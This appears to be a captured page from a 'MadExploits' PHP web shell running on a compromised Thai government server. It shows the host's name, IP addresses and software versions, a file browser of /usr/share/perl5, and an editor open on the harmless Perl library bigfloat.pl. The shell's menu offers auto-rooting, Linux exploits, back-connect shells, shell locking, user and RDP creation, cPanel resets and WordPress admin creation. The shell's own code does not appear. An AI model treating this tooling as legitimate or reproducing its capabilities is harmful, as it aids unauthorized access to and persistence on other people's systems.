Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CGI
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
CPANPLUS
[ DIR ]
drwxr-xr-x
Carp
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBIx
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Parse
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
TAP
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
autodie
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.53
KB
-rw-r--r--
AutoLoader.pm
14.65
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.86
KB
-rw-r--r--
CGI.pm
255.35
KB
-rw-r--r--
CORE.pod
1.53
KB
-rw-r--r--
CPAN.pm
127.84
KB
-rw-r--r--
CPANPLUS.pm
7.1
KB
-rw-r--r--
Carp.pm
7.43
KB
-rw-r--r--
DB.pm
18.75
KB
-rw-r--r--
DBM_Filter.pm
14.08
KB
-rw-r--r--
Digest.pm
10.17
KB
-rw-r--r--
DirHandle.pm
1.89
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.38
KB
-rw-r--r--
Env.pm
5.05
KB
-rw-r--r--
Error.pm
23.55
KB
-rw-r--r--
Exporter.pm
18.16
KB
-rw-r--r--
Fatal.pm
40.01
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
5.53
KB
-rw-r--r--
Memoize.pm
34.47
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.86
KB
-rw-r--r--
Safe.pm
23.76
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.93
KB
-rw-r--r--
Shell.pm
8.48
KB
-rw-r--r--
Switch.pm
27.84
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.38
KB
-rw-r--r--
URI.pm
30.44
KB
-rw-r--r--
abbrev.pl
838
B
-rw-r--r--
assert.pl
1.27
KB
-rw-r--r--
attributes.pm
14.53
KB
-rw-r--r--
autodie.pm
11.49
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.82
KB
-rw-r--r--
bigfloat.pl
7.2
KB
-rw-r--r--
bigint.pl
8.75
KB
-rw-r--r--
bigint.pm
17.43
KB
-rw-r--r--
bignum.pm
18.24
KB
-rw-r--r--
bigrat.pl
4.37
KB
-rw-r--r--
bigrat.pm
14.1
KB
-rw-r--r--
blib.pm
2.06
KB
-rw-r--r--
bytes.pm
2.33
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
cacheout.pl
1.1
KB
-rw-r--r--
charnames.pm
15.3
KB
-rw-r--r--
complete.pl
3.12
KB
-rw-r--r--
constant.pm
12.23
KB
-rw-r--r--
ctime.pl
1.95
KB
-rw-r--r--
diagnostics.pm
16.97
KB
-rw-r--r--
dotsh.pl
2.12
KB
-rw-r--r--
dumpvar.pl
14.92
KB
-rw-r--r--
exceptions.pl
1.7
KB
-rw-r--r--
fastcwd.pl
1019
B
-rw-r--r--
feature.pm
4.97
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
find.pl
1.16
KB
-rw-r--r--
finddepth.pl
1.1
KB
-rw-r--r--
flush.pl
642
B
-rw-r--r--
getcwd.pl
1.39
KB
-rw-r--r--
getopt.pl
1.29
KB
-rw-r--r--
getopts.pl
1.37
KB
-rw-r--r--
hostname.pl
727
B
-rw-r--r--
if.pm
1.14
KB
-rw-r--r--
importenv.pl
283
B
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.01
KB
-rw-r--r--
locale.pm
820
B
-rw-r--r--
look.pl
1.23
KB
-rw-r--r--
newgetopt.pl
2.16
KB
-rw-r--r--
open.pm
7.56
KB
-rw-r--r--
open2.pl
185
B
-rw-r--r--
open3.pl
185
B
-rw-r--r--
overload.pm
46.92
KB
-rw-r--r--
overloading.pm
1.76
KB
-rw-r--r--
parent.pm
2.93
KB
-rw-r--r--
perl5db.pl
310.24
KB
-rw-r--r--
pwd.pl
1.44
KB
-rw-r--r--
shellwords.pl
276
B
-rw-r--r--
sigtrap.pm
7.43
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
stat.pl
590
B
-rw-r--r--
strict.pm
3.63
KB
-rw-r--r--
subs.pm
842
B
-rw-r--r--
syslog.pl
4.69
KB
-rw-r--r--
tainted.pl
164
B
-rw-r--r--
termcap.pl
4.02
KB
-rw-r--r--
timelocal.pl
690
B
-rw-r--r--
utf8.pm
6.76
KB
-rw-r--r--
utf8_heavy.pl
7.81
KB
-rw-r--r--
validate.pl
3.64
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
version.pm
1.01
KB
-rw-r--r--
version.pod
12.03
KB
-rw-r--r--
vmsish.pm
4.23
KB
-rw-r--r--
warnings.pm
15.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bigfloat.pl
package bigfloat; require "bigint.pl"; # # This library is no longer being maintained, and is included for backward # compatibility with Perl 4 programs which may require it. # # In particular, this should not be used as an example of modern Perl # programming techniques. # # Suggested alternative: Math::BigFloat # # Arbitrary length float math package # # by Mark Biggar # # number format # canonical strings have the form /[+-]\d+E[+-]\d+/ # Input values can have embedded whitespace # Error returns # 'NaN' An input parameter was "Not a Number" or # divide by zero or sqrt of negative number # Division is computed to # max($div_scale,length(dividend)+length(divisor)) # digits by default. # Also used for default sqrt scale $div_scale = 40; # Rounding modes one of 'even', 'odd', '+inf', '-inf', 'zero' or 'trunc'. $rnd_mode = 'even'; # bigfloat routines # # fadd(NSTR, NSTR) return NSTR addition # fsub(NSTR, NSTR) return NSTR subtraction # fmul(NSTR, NSTR) return NSTR multiplication # fdiv(NSTR, NSTR[,SCALE]) returns NSTR division to SCALE places # fneg(NSTR) return NSTR negation # fabs(NSTR) return NSTR absolute value # fcmp(NSTR,NSTR) return CODE compare undef,<0,=0,>0 # fround(NSTR, SCALE) return NSTR round to SCALE digits # ffround(NSTR, SCALE) return NSTR round at SCALEth place # fnorm(NSTR) return (NSTR) normalize # fsqrt(NSTR[, SCALE]) return NSTR sqrt to SCALE places # Convert a number to canonical string form. # Takes something that looks like a number and converts it to # the form /^[+-]\d+E[+-]\d+$/. sub main'fnorm { #(string) return fnum_str local($_) = @_; s/\s+//g; # strip white space if (/^([+-]?)(\d*)(\.(\d*))?([Ee]([+-]?\d+))?$/ && ($2 ne '' || defined($4))) { my $x = defined($4) ? $4 : ''; &norm(($1 ? "$1$2$x" : "+$2$x"), (($x ne '') ? $6-length($x) : $6)); } else { 'NaN'; } } # normalize number -- for internal use sub norm { #(mantissa, exponent) return fnum_str local($_, $exp) = @_; if ($_ eq 'NaN') { 'NaN'; } else { s/^([+-])0+/$1/; # strip leading zeros if (length($_) == 1) { '+0E+0'; } else { $exp += length($1) if (s/(0+)$//); # strip trailing zeros sprintf("%sE%+ld", $_, $exp); } } } # negation sub main'fneg { #(fnum_str) return fnum_str local($_) = &'fnorm($_[$[]); vec($_,0,8) ^= ord('+') ^ ord('-') unless $_ eq '+0E+0'; # flip sign if ( ord("\t") == 9 ) { # ascii s/^H/N/; } else { # ebcdic character set s/\373/N/; } $_; } # absolute value sub main'fabs { #(fnum_str) return fnum_str local($_) = &'fnorm($_[$[]); s/^-/+/; # mash sign $_; } # multiplication sub main'fmul { #(fnum_str, fnum_str) return fnum_str local($x,$y) = (&'fnorm($_[$[]),&'fnorm($_[$[+1])); if ($x eq 'NaN' || $y eq 'NaN') { 'NaN'; } else { local($xm,$xe) = split('E',$x); local($ym,$ye) = split('E',$y); &norm(&'bmul($xm,$ym),$xe+$ye); } } # addition sub main'fadd { #(fnum_str, fnum_str) return fnum_str local($x,$y) = (&'fnorm($_[$[]),&'fnorm($_[$[+1])); if ($x eq 'NaN' || $y eq 'NaN') { 'NaN'; } else { local($xm,$xe) = split('E',$x); local($ym,$ye) = split('E',$y); ($xm,$xe,$ym,$ye) = ($ym,$ye,$xm,$xe) if ($xe < $ye); &norm(&'badd($ym,$xm.('0' x ($xe-$ye))),$ye); } } # subtraction sub main'fsub { #(fnum_str, fnum_str) return fnum_str &'fadd($_[$[],&'fneg($_[$[+1])); } # division # args are dividend, divisor, scale (optional) # result has at most max(scale, length(dividend), length(divisor)) digits sub main'fdiv #(fnum_str, fnum_str[,scale]) return fnum_str { local($x,$y,$scale) = (&'fnorm($_[$[]),&'fnorm($_[$[+1]),$_[$[+2]); if ($x eq 'NaN' || $y eq 'NaN' || $y eq '+0E+0') { 'NaN'; } else { local($xm,$xe) = split('E',$x); local($ym,$ye) = split('E',$y); $scale = $div_scale if (!$scale); $scale = length($xm)-1 if (length($xm)-1 > $scale); $scale = length($ym)-1 if (length($ym)-1 > $scale); $scale = $scale + length($ym) - length($xm); &norm(&round(&'bdiv($xm.('0' x $scale),$ym),&'babs($ym)), $xe-$ye-$scale); } } # round int $q based on fraction $r/$base using $rnd_mode sub round { #(int_str, int_str, int_str) return int_str local($q,$r,$base) = @_; if ($q eq 'NaN' || $r eq 'NaN') { 'NaN'; } elsif ($rnd_mode eq 'trunc') { $q; # just truncate } else { local($cmp) = &'bcmp(&'bmul($r,'+2'),$base); if ( $cmp < 0 || ($cmp == 0 && ( $rnd_mode eq 'zero' || ($rnd_mode eq '-inf' && (substr($q,$[,1) eq '+')) || ($rnd_mode eq '+inf' && (substr($q,$[,1) eq '-')) || ($rnd_mode eq 'even' && $q =~ /[24680]$/) || ($rnd_mode eq 'odd' && $q =~ /[13579]$/) )) ) { $q; # round down } else { &'badd($q, ((substr($q,$[,1) eq '-') ? '-1' : '+1')); # round up } } } # round the mantissa of $x to $scale digits sub main'fround { #(fnum_str, scale) return fnum_str local($x,$scale) = (&'fnorm($_[$[]),$_[$[+1]); if ($x eq 'NaN' || $scale <= 0) { $x; } else { local($xm,$xe) = split('E',$x); if (length($xm)-1 <= $scale) { $x; } else { &norm(&round(substr($xm,$[,$scale+1), "+0".substr($xm,$[+$scale+1,1),"+10"), $xe+length($xm)-$scale-1); } } } # round $x at the 10 to the $scale digit place sub main'ffround { #(fnum_str, scale) return fnum_str local($x,$scale) = (&'fnorm($_[$[]),$_[$[+1]); if ($x eq 'NaN') { 'NaN'; } else { local($xm,$xe) = split('E',$x); if ($xe >= $scale) { $x; } else { $xe = length($xm)+$xe-$scale; if ($xe < 1) { '+0E+0'; } elsif ($xe == 1) { # The first substr preserves the sign, which means that # we'll pass a non-normalized "-0" to &round when rounding # -0.006 (for example), purely so that &round won't lose # the sign. &norm(&round(substr($xm,$[,1).'0', "+0".substr($xm,$[+1,1),"+10"), $scale); } else { &norm(&round(substr($xm,$[,$xe), "+0".substr($xm,$[+$xe,1),"+10"), $scale); } } } } # compare 2 values returns one of undef, <0, =0, >0 # returns undef if either or both input value are not numbers sub main'fcmp #(fnum_str, fnum_str) return cond_code { local($x, $y) = (&'fnorm($_[$[]),&'fnorm($_[$[+1])); if ($x eq "NaN" || $y eq "NaN") { undef; } else { ord($y) <=> ord($x) || ( local($xm,$xe,$ym,$ye) = split('E', $x."E$y"), (($xe <=> $ye) * (substr($x,$[,1).'1') || &bigint'cmp($xm,$ym)) ); } } # square root by Newtons method. sub main'fsqrt { #(fnum_str[, scale]) return fnum_str local($x, $scale) = (&'fnorm($_[$[]), $_[$[+1]); if ($x eq 'NaN' || $x =~ /^-/) { 'NaN'; } elsif ($x eq '+0E+0') { '+0E+0'; } else { local($xm, $xe) = split('E',$x); $scale = $div_scale if (!$scale); $scale = length($xm)-1 if ($scale < length($xm)-1); local($gs, $guess) = (1, sprintf("1E%+d", (length($xm)+$xe-1)/2)); while ($gs < 2*$scale) { $guess = &'fmul(&'fadd($guess,&'fdiv($x,$guess,$gs*2)),".5"); $gs *= 2; } &'fround($guess, $scale); } } 1;
Close